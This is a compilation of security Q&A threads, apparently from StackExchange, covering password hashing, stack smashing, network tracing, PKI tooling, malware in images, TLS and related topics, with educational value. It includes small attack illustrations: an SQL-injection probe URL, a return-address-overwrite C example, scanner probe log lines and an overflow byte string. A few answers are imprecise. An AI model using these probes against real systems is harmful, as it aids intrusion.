If I am correct, I believe this authentication scheme does indeed make brute forcing a password nearly impossible, and makes a password stolen through snooping only useful for a full minute.

However, what it does not protect against, as I think it is impossible, is passwords stolen from the user as they are input into the client. Spyware would be able to steal the actual username and password.

EDIT 1 :: Fixed the authentication process so that the server does not store the salted password hash, only a hash of that value. This prevents an attacker with access to the database from knowing the original password. The reason this has to be done is the hashed value of the salted password hash is the password from the server's point of view. Storing the salted password hash in the database would be the same as storing all user's passwords in plaintext.

EDIT 2 :: Fixed the scheme so that the authentication relies on the server's time, not the client's.

EDIT 3 :: Made the password length less restrictive, but kept it reasonable.

If it goes through SSL/TLS, which ensures server authentication (the client is sure that it is talking to the right server) and confidentiality and integrity of the transmitted data, then there is no snooping to fear -- or, rather, if snooping occurs, then it must be right on the client or the server, at which point you have bigger problems (if an attacker can read sent data on the client directly, then he can probably log keystrokes as well).

If we consider your password-hashing scheme by itself (i.e. without taking SSL/TLS into account), then it has a few problems:

You include your "salt" by simply appending it. There is no proof that this will not cause problems with SHA-512. SHA-512 is a Merkle-Damgård hash function, which means that it is a bit less than ideal; it has some structure (e.g. the "length extension attack"). This does not mean that SHA-512 is broken; only that you handle it as if it was a Random Oracle whereas it is "just" resistant to collisions and preimages.
You do not iterate through enough invocations of the hash function. This makes the process too fast: an attacker observing the resulting hash may "try" potential passwords, and will be able to do so at high speed (millions of passwords per second, with a simple PC). This is called a "dictionary attack" and it tends to work because users are bad at choosing and remembering good passwords.
You use SHA-512 instead of SHA-256. You talk about an "interpreted language": if that is Javascript, then that language is grossly inefficient with 64-bit operations (SHA-512 is full of them), so using SHA-512 instead of SHA-256 severely limits the number of iterations you could perform on the client system; this correspondingly boosts efficiency of the dictionary attack.

Usual recommendations for password hashing are PBKDF2, bcrypt and scrypt (my personal favorite being bcrypt; PBKDF2 was not initially designed for that, and scrypt is still too new to be generally trusted).

There are authentication protocols which are, by design, immune to offline dictionary attacks: they are called Password-Authenticated Key Exchange. PAKE protocols allow for mutual password-based authentication between client and server, in such a way that a snooping attacker, or even an attacker who impersonates the client or the server, cannot learn anything which would allow him to "try passwords" on his own systems. The attacker is restricted to online dictionary attacks: each password guess involves interaction with either the client or the server. The most known PAKE protocol is SRP which has been integrated into SSL/TLS. With TLS+SRP, you get a secure data tunnel in which the server and the client are mutually authenticated with regards to the password, without any certificate at all (that's the most brilliant part of it). As a bonus, the server doesn't need to store the password in cleartext, only a value derived from it (as if it was hashed) so an attacker dumping the server database does not learn the passwords (he does learn enough to perform an offline dictionary attack, though). GnuTLS is a library implementing SSL/TLS with SRP support.


Does this count as unique salting against rainbow tables **Due to the limitations of my situation the exe (i.e. source), hash, salt, everything is stored locally as it's a local application.

Would this idea beat rainbow tables?

Password = Input (always 8 in length, 0-9 accepted) (unique to person)
Check = Input2 (always 2 in length, 0-9 accepted) (unique to person)

HashedPassworwd = Hash(Password, SHA_512)

Salt = Starting at string position Check, take 32 chars onwards

HashedSalt = Hash(Salt, SHA_512)

FinalHash = Hash(HashedPassworwd+HashedSalt, SHA_512)

Would this be beat rainbow tables and would only work against brute-forcing?

You are probably better off increasing password length and strength rather than doing something with check and salt - salt is intended to be stored with the hashed password as a general principle.

What you've effectively done with the check is increase the password entropy by 2 digits while making it more difficult for you to use standard libraries.  If you are really just using 0-9, that's only 10^10 - even with salt, even with SHA512, that's breakable by someone who really wants to - especially if your users use predictable patterns, which they probably will.

Why limit password length and valid characters - it is going to be hashed anyways, no skin off your nose from a storage perspective.  With a better  character set, you can just use a straight up salt and sha512 hash and be secure.


Database of all known hacking methods As the internet is growing bigger and bigger, different kinds and methods of attack have been invented And there’s (anonymous) hackers who are willing to share these methods. I am wondering if there’s a database that records all known hacking methods and what exploits they used?

It's not that easy...
Example 1
Let's take SQL Injections as an example. You see a site like example.com/?page=1 and you try to change it to example.com/?page=1'. Suddenly you get an SQL error printed.
Is this a hacking method or an individual exploit?
Example 2
Take a local kiosk system with an attached keyboard. By pressing Win+R, I was able to start a command line and add a new local user.
Is this a hacking method or an individual exploit?
Example 3
ImageMagick is a popular image manipulation tool, with many bindings to popular platforms. It had a vulnerability which allowed me to upload files in mvg and svg format, which contained special schemas that allowed me to read and modify local files of the server.
Is this a hacking method or an individual exploit?
Methods versus Exploits
As I was hopefully able to demonstrate, it is difficult to judge what is considered a method and what is considered an individual exploit. Quite often, a "method" is just a very widespread vulnerability, such as insufficient output encoding, leading to all sorts of injection attacks.
It can also happen that potentially exploitable vulnerabilities are forgotten, such as it was the case with scriptless attacks. The paper is from 2012, yet I recall mentions of CSS-based keyloggers as early as 20051.
If you are interested in learning about various exploit techniques, I recommend looking at real exploits, such as posted on Exploit-DB and try to understand how they work. If you come across a specific exploit and don't understand it in detail, I'm sure a well-written question here will give you high-quality answers. Sadly, there is no way to just look up a bunch of techniques Wikipedia-style and suddenly become üb3r1337 - similar to how you can't read a bunch of programming paradigms and become a rockstar developer.

1Although please don't quote me on that exact date.


"Smashing The Stack For Fun And Profit" - Remediations i was reading this famous article:

Aleph One - Smashing The Stack For Fun And Profit

and i have no idea how stack canaries/NX support/ASLR can avoid an attack like that. I'll try to explain me better. Stricly speaking:

stack canaries: random values before RET
NX support: no x flag for stack (and heap)
ASLR: address space randomization

Considering this example:

example3.c:
------------------------------------------------------------------------------
void function(int a, int b, int c) {
   char buffer1[5];
   char buffer2[10];
   int *ret;

   ret = buffer1 + 12;
   (*ret) += 8;
}

void main() {
  int x;

  x = 0;
  function(1,2,3);
  x = 1;
  printf("%d\n",x);
}
------------------------------------------------------------------------------

In this case:

Stack canaries are bypassed (i change only the RET value)
NX support: useless
ASLR: useless (i bypass the instruction x = 1 adding an offset)

I don't understand how the remediations above can avoid an example like that.

The holy grail of smashing the stack is to gain control of a pointer so that you can point it at the malicious code to be executed. There has to be an overflow in the program itself that is being exploited. In this example3.c the return can easily be controlled because it is a carefully crafted program. It's a proof of concept of how to overflow a vulnerable buffer to gain control of a pointer, in this case, the return pointer.

In a real exploit somehow the malicious program to be run needs to get loaded into executable memory and the instruction pointer has to be pointed at it.

The reasons the protections you mentioned cause real-world difficulties:

Find a buffer overflow in the program, can't just write one in there. Say we found one, but there are Stackguard-style canaries between the stack buffers and any other stack frame data, like the return address. Find and perfectly write over the stack canaries when overflowing it so they are unaltered, and hope the return address hasn't been saved somewhere else StackShield style by the program we're trying to get all over, and the stack hasn't been shuffled. Heroically we have a controllable pointer.

We manage to get the malicious program loaded into memory also, where is it?

ASLR - Designed to randomize the executable, brk()-managed heap, library images, mmap()-managed heap, user space stack and kernel space stack.

That's unfortunate, and tracking libraries and mapping memory is difficult (Unless you're an artist), so we get it on the stack or heap, which is easiest anyway. We get it there, get the pointer on it, but then Non-executable memory pages prevent its execution.

Return-to-library exploits, like the one I linked above, were developed because libraries are necessarily executable and present.


How can one avoid having their online presence traced back to an identifiable network? I've been reading up on browser fingerprinting and device identification. Today I'd like to focus on the network side of things.

Assuming I was interacting with a website on multiple occasions, but I used a different device each time, by which means would they be able to identify that the requests had come from the same network?

My list so far (I know there are many more but I'd like to learn more about which ones are most likely to be used/that I'm most likely to run into).

IPv4 address
IPv6 address(Not yet sure how IPv6 works, can it be used for fingerprinting?)
The MAC address of my router (can sites obtain this data and track me with it?
Exit/entrance nodes?
How far back can packets be traced? I assume they cant physically geolocate me without my consent, but would the origin of the packets always be the exact same for my region, or would my ISP mix it up? What if the router/modem is powercycled to reassign a new dynamic IP?

And what else?

In order to serve content to you, the end web server must know where to send the information. Depending on how the individual packets are being routed, this could be with the IPv4 or IPv6 protocols. Each protocol use their own addressing systems, but still have "IP Addresses".

The website can not have any knowledge of how packets between you and the server come about. Internet paths are dynamic, so routing can change from one web page to the next. A trace route can be preformed, and the utility will give one of many paths for a website to reach it's destination client (you).

Beyond that, a website has access to some of your browser's information. For instance, your browser version and being able to read and write cookies. Interestingly enough, some individuals have made claims that websites can track users though screen resolutions. This seems quite unreliable so probably not of much use.

Browser information can vary between devices, cookies are not shared between devices unless the website writes the same data in cookies.

A VPN (Virtual Private Network) connection can eliminate a direct path between a web server and client. There are many services available, some even offer a website version.

Tor is a heavily modified form of VPN, which requires it's own reading.

As an added bonus, here is some log information from my web server. It shows basic information about some potential offenders: Where they are connecting from, what time and date, how and what they requested, and what the server's response to that request was.

46.165.254.129 - - [09/Jan/2017:00:32:33 -0500] "GET /muieblackcat HTTP/1.1" 404 210
46.165.254.129 - - [09/Jan/2017:00:32:33 -0500] "GET //phpMyAdmin/scripts/setup.php HTTP/1.1" 404 226
46.165.254.129 - - [09/Jan/2017:00:32:34 -0500] "GET //phpmyadmin/scripts/setup.php HTTP/1.1" 404 226
173.245.50.247 - - [09/Jan/2017:10:48:50 -0500] "GET /robots.txt HTTP/1.1" 404 208
222.186.51.194 - - [09/Jan/2017:14:25:04 -0500] "GET /phpmyadmin HTTP/1.1" 404 208
46.165.221.74 - - [09/Jan/2017:17:56:48 -0500] "GET /muieblackcat HTTP/1.1" 404 210
46.165.221.74 - - [09/Jan/2017:17:56:48 -0500] "GET //phpMyAdmin/scripts/setup.php HTTP/1.1" 404 226
46.165.221.74 - - [09/Jan/2017:17:56:48 -0500] "GET //phpmyadmin/scripts/setup.php HTTP/1.1" 404 226
46.165.221.74 - - [09/Jan/2017:17:56:48 -0500] "GET //pma/scripts/setup.php HTTP/1.1" 404 219
46.165.221.74 - - [09/Jan/2017:17:56:49 -0500] "GET //myadmin/scripts/setup.php HTTP/1.1" 404 223
46.165.221.74 - - [09/Jan/2017:17:56:49 -0500] "GET //MyAdmin/scripts/setup.php HTTP/1.1" 404 223
108.162.215.203 - - [09/Jan/2017:21:12:51 -0500] "GET /robots.txt HTTP/1.1" 404 208


Is there a tool that reports on PKI health (CRL dates, expiry, etc)? I'm looking for a tool that will walk the AIA tree from a leaf node and check all corresponding CRL dates and times.

Ideally it will also check versions and cross root trusts.

Does such a tool exist? If not, what is the closest I can get to that goal?

Just to add my one cent.

I'm not aware of any such ready tools, however this feature was requested by a customer of mine some time ago. Eventually, I ended up with my own PowerShell solution for Windows. Here are two blog posts where I describe the behavior:

Enterprise PKI (pkiview.msc) PowerShell Edition (PoC)
Enterprise PKI health verifier, PowerShell Edition v1.5

Although, postings refer to Microsoft ADCS, there is a -Certificate parameter where you can pass arbitrary certificate.

Generally, the script does the following:

Prepare input certificate;
Execute chain for each certificate to select trusted anchors and to go through the chain;
Retrieve all Issuer URLs from AIA;
Validate each url (must be either http or ldap) and attempt to download the contents;
If contents is downloaded, verify whether it is a certificate;
Verify if the downloaded certificate is an issuer of the certificate in subject;
Validate other cert properties;
Extract URLs from CDP extension;
Validate each url (must be either http or ldap) and attempt to download the contents;
If contents is downloaded, verify whether it is a CRL;
Validate basic CRL properties, like validity (not yet valid, expired, about to expire);
Validate whether the CRL has valid signature (against CA certificate);
Do the same for DeltaCRLs;
Extract all OCSP URLs from AIA extension;
Validate OCSP response by sending OCSP request and processing response;
Compose status report (managed, I maintain report object and you can access report properties);
Repeat steps 3-16 for each subsequent certificate in the chain up to root certificate;
Compose summary report.

Not all you've requested (cross-certificates are not verified), but enough for a good start.

Where to get the latest version of the script? It is a part of my PowerShell PKI module. Download sources of the most recent release: https://pspki.codeplex.com/releases

you will need only three files:

Get-EnterprisePKIHealthStatus.ps1
PKI.Core.dll
SysadminsLV.Asn1Parser.dll

All files are digitally signed by me. If you concern about dlls, they are opensourced: PKIX.NET (PKI.Core.dll) and Asn1DerParser.NET (SysadminsLV.Asn1Parser.dll)

and the last, online help for PowerShell function: Get-EnterprisePKIHealthStatus.

HTH


Is it possible to change IP after each request I am developing a web application. I am planning to skip CAPTCHAs for the initial signup by an IP so as to improve user experience. I was wondering if I am inviting any security risks by doing this. Is it possible for a malicious user to make many signups by using a new IP for each request? Also, How difficult is it for an attacker to achieve this?

Yes it can be done.  It's trivial.

There are many ways for a user or an attacker to have multiple IP addresses - or to share IP addresses.  Here's a list, off the top of my head.

These all assume that the IP address of the target system is exposed to your server.  Either you're running some code (like JavaScript) to detect the IP address, or the client allows connections directly from systems without any interruption.

Shared Addresses

This list is how one IP address may be used by multiple systems.

Multi-user host.  Many hosts are used by multiple people.  by definition, they will all use the same interfaces to connect to your server, and therefore share IP addresses.
DHCP.  DHCP works by creating a pool of IP addresses, from which the client (the system that will eventually connect to you) is assigned one of the addresses.  The IP address used by this system is eventually returned to the pool.  At this point, someone else can pick up the IP address.  If both systems connect to your system, they could each connect at a time when they possess the IP address.
Manual IP configuration.  Anyone can configure their network interface to use any IP address they want.  A system could be intentionally configured to use an IP address in use by another system.
False Information.  If you are detecting the IP address by running code on the client, the client can feed your code false information.  For example, a Greasemonkey script can modify your javascript and cause it to return any IP address the attacker wants.
NAT. There are networks that use Network Address Translation to show a very small number of re-used IP addresses to the internet, while using entirely different addresses within the network.  This is extremely common.  WHen clients connect to your server through NAT servers, they will all appear to come from the same IP address.
Reserved IP Addresses.  It is very common to pair NAT with reserved IP addresses.  Reserved IP addresses, such as 192.168.*.*, are re-used by many organizations.  These addresses are only routable within the local network, so NAT servers present other networks with remotely routable addresses.  If you use something like JavaScript code to detect the IP address of the client, there will be many clients that reuse these addresses.

Multiple Addresses

This list is how a single host can appear to have multiple IP addresses.

DHCP.  As described in the first list, the IP address is eventually released by the system using it and returned to the pool.  When the system connects back to the network, it will be granted a new address, which is not guaranteed to be the same as the old address.
Manual IP configuration.  Anyone can configure their network interface to use any IP address they want.  A system could be intentionally configured to use one IP address, then five minutes later use another address.
False Information.  If you are detecting the IP address by running code on the client, the client can feed your code false information.  For example, a Greasemonkey script can modify your javascript and cause it to return any IP address the attacker wants.
NAT. NAT isn't required to use the same address the every time for the same client.  A single client could connect to your server through NAT and be given a different IP address every time.
Laptop roaming across networks.  When a system disconnects from one network and connects to another network, it gets a new IP address from the new network.  While there is a low probability of a getting a reserved locally routable address from the new network that exactly matches the reserved locally routable address from the old network, this is far from guaranteed.  More likely, the address will be different.  The NATted address is "guaranteed" to be different.
Multi-homed machines.  A multi-homed machine is connected to the network via multiple network cards, or to multiple networks with multiple interfaces.  This machine, by definition, has multiple IP addresses - one for each interface.  If traffic comes to you through one network one time, then the other network another time, the same host will connect using multiple addresses.  This is unlikely, but can occur given the right network structure.
Botnet.  Attackers can rent or build a botnet.  The botnet will, by definition, be constructed of multiple systems, each of which will have a different IP address.  The attacker will have multiple IPs at his/her disposal.


If malware can be attached to an image file, then why aren't images a common attack vector? For example, if someone uploads a malicious image on website like Instagram or Facebook, and then hundreds of people viewed this image, wouldn't that be an easy way to infect the devices of hundreds or thousands of people? If so, why do people view tens or hundreds of images without being afraid of getting their device infected?

While hiding malware in an image is possible, it's not as simple as it may first seem, and there's a lot of nuance in terms of what "hiding malware in an image" could actually mean, and what the behaviour of that image is in practice.
First things first, let's talk about steganography. It's the practice of hiding information inside other information. For example, you might agree with a friend that a particular codeword in a phonecall (e.g. "roast beef") means you're on a bad date and need an excuse to leave. That's a very basic form of steganography. The codeword seems innocuous to an outsider - "did you remember to put the roast beef in the fridge?" is not a suspicious question - but there is hidden meaning to those that are aware of it.
Steganography can be applied to digital media, too. An image might have a fine line of pixels at the very edge that encode a series of bytes that contain a message. A person casually viewing the file would see an image, but probably not notice the single line of pixels at the edge, and even if they did they might not think anything of it. This approach is quite limiting, though. Lossy compression formats (e.g. JPEG, GIF) would not produce the exact same pixels as were put into the compressor, so they can't be used with this simple technique - you need lossless storage like BMP or PNG. It's also limited to a small amount of data - add too much, and the weird line of pixels becomes obviously visible. An approach that increases the amount of data that can be stored is to replace the least significant bit of each red, green, and blue value, for every pixel, with one bit of the secret message. This is visually imperceptible to the human eye, but again it breaks if you save the image as a JPEG or GIF, or resize or process the image in any way.
There are more complicated approaches that surivive being encoded as a JPEG, and there are other techniques such as storing secret messages in metadata (e.g. EXIF tags in a JPEG, ID3 tags in an MP3, or hidden streams in a video container) that would only generally be noticed by someone explicitly looking for them.
A problem with sharing these steganographic media files via social media networks is that they don't leave your file alone when you upload it. They resize it, recompress it, strip metadata off it (largely for privacy and space saving reasons - there's no need to store random metadata, and geolocation tagged photos can leak your exact location), and may even crop or colour-correct the image. It makes sharing these kinds of files on those platforms very difficult.
You might notice something here, though: these are just regular image or video files. They don't do anything magic when you open them. They're just a regular media file, with some cleverly manipulated pixels or metadata, and you have to know that there's some secret thing in there, know how that secret was encoded, and use some tool to extract the message. They don't magically infect you with malware when you open them.
You're clearly aware of the concept that opening benign non-executable file formats might result in being infected with malware, but how does that actually work? The answer is almost always one of two things: embedded macros, or exploitation of a software vulnerability.
I'll cover embedded macros very quickly. In many office document formats (e.g. Word, Excel) there's a feature that lets you store scripts inside a document. These are called macros. They're often used to add more complex behaviour to a document, e.g. having a button in a spreadsheet that pops up some question boxes for you to fill out in order to generate a report. These macros can also be written in a way that is malicious, and modern versions of office software normally disable them by default when you load the document. You have to manually click "yes, enable macros, I'm sure this document is safe" in order to run them. Most malicious documents try to trick you into clicking that button. One example might be that you receive an email with the subject "[Confidential] Department Salary Increases", with an Excel spreadsheet attached. You open it, and the document looks official, appears to be some sort of list of employees and new salaries for the next financial year, and it even has your company logo in it, but every cell with names or salary amounts says "security protected content. enable macros to view". If you approve macros it drops a malicious executable onto your computer and runs it.
This trick doesn't apply to JPEGs or PNGs or MP3s or AVIs. They don't have macros. So how might you get infected by a malicious image or audio/video file? First things first, let's ignore the case where someone named the file private_snapchat_23.jpg.exe and it's not actually an image file. It's obvious how that one is malicious, and you can't just upload that to a social media site anyway - it won't be recognised as an image at all.
Malicious media files like this rely on vulnerabilities in the software the reads the file. The exact details of how vulnerabilities and exploits work constitute and entire field of study, with more than enough complexity to fill hundreds of books, so I'll skip all but the very basics.
It is not unfair to say that computers border on being maliciously compliant. They will do exactly what you tell them to, ignoring any subtlety or nuance in your intentions, and almost always without any warning that what you want to do is not in your best interests. If you say "pick up that brush, brush the cat, then put it in the dishwasher", it'll put your cat in the dishwasher. The problem is that software developers are human, and translating between what a human wants and what a computer needs to be told in order to achieve that goal is a very hard job. Even if all the tooling is perfect (which it isn't) humans make mistakes all the time. They write buggy code. Sometimes these mistakes mean that the behaviour of the computer can be altered by the data it is working on, in a way that was unintended by the developer. When these bugs can be abused in order to bypass security expectations, we call them vulnerabilities.
As a brief technical example, let's talk about buffer overflows.
Let's say you allocate a certain block of memory, 50 bytes long, to store a particular field that you're reading from a file. We call this a buffer. The file format specification says the field shouldn't ever be more than 32 bytes long, so the developer figures that a buffer of 50 bytes is a nice round number and more than enough space to store the field data. The data in the file encodes this particular field as a single byte denoting the length of the field, followed by the contents of that field.
Here's an example of what that field might look like in the file, in bytes:
0d 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 21

The first byte, with a hexadecimal value of 0d (13 in decimal) specifies that the field is 13 bytes long. The remainder of the field is the data, which decodes to the ASCII string "Hello, world!".
The program parses this field by reading the length value, then copying that number of bytes into the buffer. But the developer made a mistake: they forgot to validate that the length value is 32 bytes or less, as per the specification. This also means they didn't validate that the length field is smaller than the buffer size. Normally, this isn't a problem, because files adhere to the specification and don't try to store any field bigger than 32 bytes. But if someone makes a file that purposefully violates the specification, they can make the program crash.
As an example, the field data might look like this:
64 54 68 65 20 71 75 69 63 6b 20 62 72 6f 77 6e 20 66 6f 78 20 6a 75 6d 70 73 20 6f 76 65 72 20 74 68 65 20 6c 61 7a 79 20 64 6f 67 2c 20 61 6e 64 20 74 68 65 20 75 6e 68 61 70 70 79 20 64 65 76 65 6c 6f 70 65 72 20 68 61 73 20 61 20 74 65 72 72 69 62 6c 65 20 64 61 79 2e 20 57 68 6f 6f 70 73 20 3a 28

The first byte denotes the length of the data. 0x64 is 100 bytes - twice the buffer size! The program doesn't validate that this size is ok, so it just copies 100 bytes into a 50 byte buffer. The data overflows the buffer (we call this a buffer overflow) into adjacent memory. That memory could store anything! It might be a buffer for another field, it might be where the program stores some variables, or it could be where the program stores state information about where it needs to jump to after this bit of code has finished running. Writing garbage data to this memory is called memory corruption, and it usually results in a crash.
However, you can often do more than just crash the program. You can look at how the program works internally, reverse engineer the assembly instructions that are being run in the vulnerable portion of code, look at the memory layout, and see what parts of memory you can corrupt. From this you may be able to specifically craft the data you put in the file in order to carefully overwrite program memory in order to run instructions of your choosing, instead of the normal program behaviour. This is called an exploit. The topic of vulnerability research and exploit development is vast, as previously mentioned, and generally requires a fairly deep understanding of how computer programs work and what security mechanisms are in place to mitigate exploit techniques, so I won't go into full detail here.
Note: It's worth me pointing out that the above is just an example. In reality vulnerabilities can take a lot of different forms, and they're not always reliant on buffer overflows or memory corruption. Again, the specific details are broad and complex enough to be worthy of multiple books, not half a paragraph in a StackExchange answer.
One thing that is critical here is that an exploit targets one vulnerability in one specific piece of code on one platform. It isn't universal. If you write an exploit for a vulnerability in the part of Windows Media Player that reads MP4 files, you can't just take that malicious MP4 file and use it against VLC, or on SMPlayer on Linux, or on your phone's video player app. Even if a vulnerability is found in a cross-platform library that is used by image viewers or video players on Windows, Linux, MacOS, iOS, and Android, you generally need to write a separate exploit (sometimes called a payload) for each of those platforms due to the different operating systems having different APIs, memory layouts, exploit protections, etc., not to mention that some of them are running on entirely different CPU architectures (e.g. x86-64 for Windows vs. ARM on an iOS or Android device). On top of that, bypassing exploit protections (particularly sandboxing in modern browsers) is quite difficult, and usually requires multiple vulnerabilities to be chained together. On mobile platforms it may be even harder. Even then, the exploit will likely only work against a few specific versions of the software, and one or two versions of the operating system. It can take weeks or even months of hard work by a talented exploit developer, along with a bunch of luck, in order to produce a stable exploit. This is after they spend a very long time reverse engineering various bits of software and reading source code in order to even find a usable vulnerability in the first place.
Now think back to earlier, when I talked about the problem of sharing steganographic images over social media. If they re-encode the image, your specially crafted bytes almost certainly go away. This means that even if you found a vulnerability in an image decoding library used by a large number of operating systems and devices (e.g. one used in Chrome or Firefox for displaying images), you'd still need to write separate exploits for each OS and browser, and find sandbox bypass vulnerabilities in order to actually do anything useful, and write exploits for those (which again need to be targeted to the browser and OS and CPU architecture), you'd still probably not be able to share it by social media because the carefully crafted file would get mangled by the server during re-encoding.
On top of all of this, the bad guys run into an economic problem: they almost always have to expend a lot of time and effort writing a functioning exploit, but a whitehat can find the same bug and spend just a few hours writing up a report to a vendor to get the vulnerability patched. And, even if they do successfully deploy the exploit against victims through some popular platform, it doesn't take long before their exploit payload is detected by intrusion detection systems, and their malware (exploits are generally limited in capability themselves, are usually used to download and run a larger program that can then provide more comprehensive capabilities to the attacker) is detected by anti-malware programs. It's often cheaper and easier to just use simple phishing attacks with office documents containing macros than it is to try to discover and practically exploit these types of vulnerabilities.


SSL/TLS Certificate Update? We had a setup which used openssl0.9.8 so it had only support for SSLv2 and TLSv1.0. We had a script which generates self-signed X.509 certificates and uses openssl library.

Now we have upgraded openssl to openssl1.0.1 to support TLSv1.2. So, do I need to create a new X.509 certificate to support TLSv1.2?

Now we have upgraded openssl to openssl1.0.1 to support TLSv1.2. So,
  do I need to create a new X.509 certificate to support TLSv1.2?

A SSL/TLS server certificate asserts the identity of the server. This certificate is independent of the SSL/TLS protocol version. The SSL/TLS version is negotiated during the connection, before the certificate is presented to a client. If you enable TLSv1.2 support, then clients are able to use more secure ciphers and protect against some other attacks. You do not need to create a new certificate when changing protocol versions.

Even if the newer protocol can work with your old certificate, you might want to review the parameters of your certificate. In particular:

MD5 and SHA-1 signatures are considered insecure. Move to SHA-256.
1024-bit RSA keys are considered insecure. Consider moving to 2048-bit RSA or better.

You can check the contents of your X.509 certificate using the following command:

openssl x509 -noout -text -in your.crt

For configuring TLS parameters, you can start reading https://wiki.mozilla.org/Security/Server_Side_TLS


How would I prove a windows executable is not a false positive? I am could looking looking at method that involves decompilation or hex editing but I am hoping something simpler is available, although fully willing to go down that path.  The scenario I am trying to solve is that I have an executable that is being flagged as a virus.  I am exploring all possibilities and including the possibility that my compiler is injecting a virus into the code.  I have the virus name that is being reported.  I do not care if the anti-virus scanner flags it again, but I do want to develop some proof that this file is indeed safe.  Assuming my paperwork is trusted how would I do so?  Also, please assume that this executable can't be submitted to the anti-virus company for heuristic whitelisting.

While this situation is contrived I am asking in short, if I have executable and a virus name that is found by an anti-virus engine how can I confirm that executable does not contain that virus.

I do believe this question is related to https://reverseengineering.stackexchange.com/ rather than security forum.

This is an extremely indepth sort of question to answer. For example, what is this application? Native or byte-code language e.g. Java, .NET etc.

So, I'll make some assumptions that it's an x86 executable.

You'll want to download:

Process Monitor - An really handy tool to see what process is for file, registry, network and threads/processes.

IDA PRO - An extremely powerful debugger/dissasembler/decompiler so you can actually breakpoint known API from what the false positive is doing. You'll require an understanding of windows internals. If you provide me with what the virus is believing to do, I can give you an list of APIs to investigate under the debugger.

API Monitor - An handy tool for just checking what it's executing over the time to see if anything stands out. For example, OpenProcess, WriteProcessMemory, ReadProcessMemory is usually used in injection code into other processes and an general application would not require these APIs.

Ideally, you'll want to learn into reverse engineering to review code as bypassing AVs and false postive are extremely common.


Can Haveged help increasing entropy and make PRNG unpredictable (close to TRNG) on embedded Linux based headless device? We have OpenSSL on BealgboneBlack Based Embedded Linux custom board and we were thinking about increasing randomness of PRNG(/dev/urandom).

While browsing about it, I landed on this page: How to speed up OpenSSL/GnuPG Entropy For Random Number Generation On Linux

That talks more about speeding up entropy for OpenSSL, but I am not sure whether will that /dev/urandom more "random".

Any suggestions if Haveged is good path to start investigating and using?

If not, any other solution for increasing entropy?

I am not sure how to even test that thing, any suggestions about that?

Just use /dev/random normally.

/dev/urandom in its default state is more than sufficient for all security purposes, unless you require strong random numbers in an early-boot environment on a small embedded device. In such a case your embedded device requires a hardware random number generator (HRNG) to improve early-boot entropy. This is a physical restriction of information entropy rather than an implementation issue within Linux.

The code behind the urandom block device, in any modern Linux kernel, is designed to be resistant against entropy pool exhaustion. Outside some very extreme and unrealistic scenarios there is no good reason to mess with the implementation or attempt to feed additional data into the entropy pool.


Hiding ip address when using coinomi wallet How do I hide my ip address if I use a wallet as coinomi? Do I have to use Orbot? If yes, what exactly should I do? (I'm using it from an android) I just want to have privacy when I log into the wallet. I want to hide my ip when logging into it.

If you want to hide your personal IP from Coinomi itself, you can use a proxy or VPN on your device, or connect to the internet using a wifi/4g connection that is not your personal one. If you have a Bitcoin ElectrumX server, you can also point your BTC wallet in the app to it, so your wallet information comes from your own server. Coinomi is already an anonymous wallet, however. No user information is collected or transmitted, IPs aren't logged on transactions.
If you want to hide your IP from other participants on the Bitcoin network, you don't have to do anything. Transactions you send from the app are relayed by Coinomi's servers. Network observers monitoring transactions will see all transactions coming from Coinomi's IP, so the user's IP is always hidden.
You can read more about Coinomi's privacy features here: https://coinomi.freshdesk.com/support/solutions/articles/29000030207-what-are-coinomi-s-privacy-features-


Why don't browsers check CAA records to help ensure a certificate is valid? If I understand correctly, Certification Authority Authorization DNS records are used to specify which certificate authorities are allowed to issue certificates for a given domain. If that record exists and a CA is not listed on it, that CA must refuse to issue a certificate for the domain.

However, this doesn't seem to protect against vulnerabilities in the CA. If any trusted authority doesn't implement CAA properly, or if an authority's private keys are breached, then CAA doesn't help.

My question is, why don't browsers check CAA records? If the certificate given was not issued by a CA authorized in the record, then it would consider the certificate invalid. This would greatly increase security by reducing the list CAs that must be trusted to only the ones the website owner chooses to trust.

I understand that HPKP is also used to prevent bad certificates. However, it only works with HTTP, and it requires either trusting the first certificate received for a site, or trusting a third-party preload list.

So is this something that browsers could implement, or am I missing something here?

I just found the answer in RFC 6844, DNS Certification Authority Authorization (CAA) Resource Record:

  A set of CAA records describes only current grants of authority to
     issue certificates for the corresponding DNS domain.  Since a
     certificate is typically valid for at least a year, it is possible
     that a certificate that is not conformant with the CAA records
     currently published was conformant with the CAA records published at
     the time that the certificate was issued.  Relying Applications MUST
     NOT use CAA records as part of certificate validation. [emphasis mine]

Basically, it is not the purpose of CAA to describe which certificates are currently valid for a domain. If a certificate is issued when the CA is on the record, and the record is later removed, then the certificate should remain valid until it expires (or is revoked).

Validation of certificates in the browser (or Relying Application) through DNS appears to be the purpose of DANE, or DNS-Based Authentication of Named Entities, specified in RFC 6698. Unfortunately, DANE is not widely implemented.


ISO27001: Scoping Definition for Data Hosted on Cloud I'm trying to define a scoping definition, as required by ISO27001, for a company that offers advice to customers based on health-related data. The strength of this company is its advice that offers to customers (analytics techniques). The data are coming from different third-parties (e.g. health apps, hospitals) and everything is hosted on the cloud, analysis is on the cloud and security is guaranteed by the cloud provider (at some degree) as the data are siting on their servers (might be on 2-3 different geo-locations).

The way I m thinking to formulate it is like: ISMS covering collection, aggregations and analysis of data. Any ideas on this?

As long as all the key services, processes and products are covered in the scope, it should be alright.

For example a statement like the following would also do -

ISMS covers the management, operation, and maintenance of information assets and information systems that enable the collection, aggregation, analysis and reporting of customer data.

The line above assumes that you own / manage the servers (even if they are on cloud) that store the customer data.


Where custom auth source code fits into the micro-segmentation, zero-trust architecture So micro-segmentation seems a bit of a buzz-word, but it helps in painting the picture of how to better do security in a network. Basically from what I understand divide the network into a bunch of small chunks, and at every connection point do some sort of authentication/authorization.

What I'm wondering though is how you go about adding code to the network to do this kind of zero-trust micro-segmentation architecture. I am a Node.js/JavaScript developer and don't really see how, for example, I could add a token-based authentication system in the interface between a printer and a server. I don't understand if I should be somehow adding code to the printer directly, or if all my code lives on my custom servers, or if there is an intermediate layer where I add the custom code. By custom code I mean any security/auth logic.

Basically I would like to know to what devices do I add custom security/auth code, if it's just servers, or maybe there is a way to add custom code/logic to managed switches or routers or printers or other devices to which I have yet to encounter in learning about this.

Sorry if this is a basic or confusing question, I am just trying to understand how the pieces fit together currently.

